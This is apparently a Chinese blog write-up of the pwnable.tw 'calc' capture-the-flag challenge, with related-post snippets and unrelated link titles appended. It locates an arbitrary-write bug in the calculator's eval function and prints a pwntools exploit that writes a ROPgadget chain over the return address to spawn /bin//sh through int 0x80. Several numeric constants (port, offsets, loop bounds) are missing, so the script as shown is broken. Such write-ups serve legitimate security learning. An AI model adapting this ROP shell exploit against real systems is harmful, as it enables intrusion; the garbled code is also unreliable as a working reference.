题目代码量比较大(I is so vegetable:b),找了很久才发现一个能利用的漏洞

运行之发现是一个计算器的程序,简单测试下发现当输入的操作数超过10位时会有一个整型溢出

这里调试了一下发现是printf("%d",num[num-1])时要输出的结果超过了2^31,2147483648即0x80000000,所以这应该算是一个bug并不是一个可利用的漏洞(32位程序最大输出2^31的原因是int类型最高位是符号标志位)

下面我们逆向一下整个程序找到真正可利用的漏洞

其中get_expr函数在读入时会进行字符的过滤,只会读取+-*/%和数字。可以看到get_expr和parse_expr前都会进行expression和num栈空间清零,这里num记录的是进行parse_expr时数字的总个数

下面看一下parse_expr函数

以下根据符号求表达式值过程省略,可以看到get_expr函数进行表达式求值处理的过程也是不存在漏洞的。

这里真正存在的漏洞是eval中的一个任意地址写的漏洞,我们在calc的返回地址栈空间利用这个任意地址写构造一个ROP即可

这里最暴力的方法是利用ROPgadget生成ropchain,然后利用eval的任意地址写直接修改内存即可

from pwn import *

context.log_level='DEBUG'

r=remote('chall.pwnable.tw',)

r.recv()

from struct import pack

# Padding goes here

p = ''

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '/bin'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec064) # @ .data + 

p += pack('<I', 0x0805c34b) # pop eax ; ret

p += '//sh'

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0809b30d) # mov dword ptr [edx], eax ; ret

p += pack('<I', 0x080481d1) # pop ebx ; ret

p += pack('<I', 0x080ec060) # @ .data

p += pack('<I', 0x080701d1) # pop ecx ; pop ebx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080ec060) # padding without overwrite ebx

p += pack('<I', 0x080701aa) # pop edx ; ret

p += pack('<I', 0x080ec068) # @ .data + 

p += pack('<I', 0x080550d0) # xor eax, eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x0807cb7f) # inc eax ; ret

p += pack('<I', 0x08049a21) # int 0x80

def set_val(addr):

    r.sendline('+'+str(addr))

    val=int(r.recv())

    if val>:

        r.sendline('+'+str(addr)+'-'+str(val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))

    else:

        r.sendline('+'+str(addr)+'+'+str(-val)+'+'+str(u32(p[(addr-)*:(addr-+)*])))

    r.recv()

for i in range(,+len(p)/):

    set_val(i)

r.interactive()

pwnable.tw calc的更多相关文章

  1. pwnable.tw applestore

    存储结构 0x804B070链表头 struct _mycart_binlist { int *name; //ebp-0x20 int price; //ebp-0x1c struct _mycar ...

  2. pwnable.tw silver_bullet

    产生漏洞的原因 int __cdecl power_up(char *dest) { char s; // [esp+0h] [ebp-34h] size_t new_len; // [esp+30h ...

  3. pwnable.tw hacknote

    产生漏洞的原因是free后chunk未置零 unsigned int sub_80487D4() { int index; // [esp+4h] [ebp-14h] char buf; // [es ...

  4. pwnable.tw dubblesort

    (留坑,远程没打成功) int __cdecl main(int argc, const char **argv, const char **envp) { int t_num_count; // e ...

  5. pwnable.tw start&orw

    emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...

  6. 【pwnable.tw】 starbound

    此题的代码量很大,看了一整天的逻辑代码,没发现什么问题... 整个函数的逻辑主要是红框中两个指针的循环赋值和调用,其中第一个指针是主功能函数,第二个数组是子功能函数. 函数的漏洞主要在main函数中, ...

  7. Pwnable.tw start

    Let's start the CTF:和stdin输入的字符串在同一个栈上,再准确点说是他们在栈上同一个地址上,gdb调试看得更清楚: 调试了就很容易看出来在堆栈上是同一块地址.发生栈溢出是因为:r ...

  8. pwnable.tw orw

    orw 首先,检查一下程序的保护机制 开启了canary保护,还是个32位的程序,应该是个简单的题

  9. pwnable.tw unexploitable 分析

    这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...

随机推荐

  1. js循环获取table中的值

    <script type="text/javascript"> function getTdValue() { var tableId = document.getEl ...

  2. (五)jdk8学习心得之默认方法

    五.默认方法 1. 使用方法:写在接口中,就是为了接口可以做一些事情. 2. 目的:有很多实现类,有一个公共的抽象方法,其实这些实现类实现该抽象方法的内容是完全一致的,完全没有必要都重新实现一遍.并且 ...

  3. Flutter内置ICON

    由于有时打不开flutter的icon官网 https://material.io/tools/icons/?style=baseline 截图存下icon 如果看不清  Ctrl +   恢复Ctr ...

  4. [2019.03.25]Linux中的查找

    TMUX天下第一 全世界所有用CLI Linux的人都应该用TMUX,我爱它! ======================== 以下是正文 ======================== Linu ...

  5. Plctext 如何发送默认的模式

    当切屏指令都没有的情况下,就会发,即:当65这个地址位(0-7),都为零的情况下.

  6. 【LUOGU???】WD与数列 sam 启发式合并

    题目大意 给你一个字符串,求有多少对不相交且相同的子串. 位置不同算多对. \(n\leq 300000\) 题解 先把后缀树建出来. DFS 整棵树,维护当前子树的 right 集合. 合并两个集合 ...

  7. The Preliminary Contest for ICPC China Nanchang National Invitational I. Max answer (单调栈+线段树)

    题目链接:https://nanti.jisuanke.com/t/38228 题目大意:一个区间的值等于该区间的和乘以区间的最小值.给出一个含有n个数的序列(序列的值有正有负),找到该序列的区间最大 ...

  8. logstash 自动重新加载配置

    自动重新加载配置 为了可以自动检测配置文件的变动和自动重新加载配置文件,需要在启动的时候使用以下命令: ./bin/lagstash -f configfile.conf --config.reloa ...

  9. Spring Boot学习总结四

    利用阿里的druid来管理数据库连接池,在此数据上针对多数据源的情况,做下讲解.首先加上该包 <dependency> <groupId>com.alibaba</gro ...

  10. java的数组

    作用:存储相同类型的一组数组,相当于一个容器,存放数据的.对同种数据类型集中存储.管理.便于遍历 数组类型:就是数组中存储的数据的类型 特点:数组中的所有元素必须属于相同的数据类型,数组中所有元素在内 ...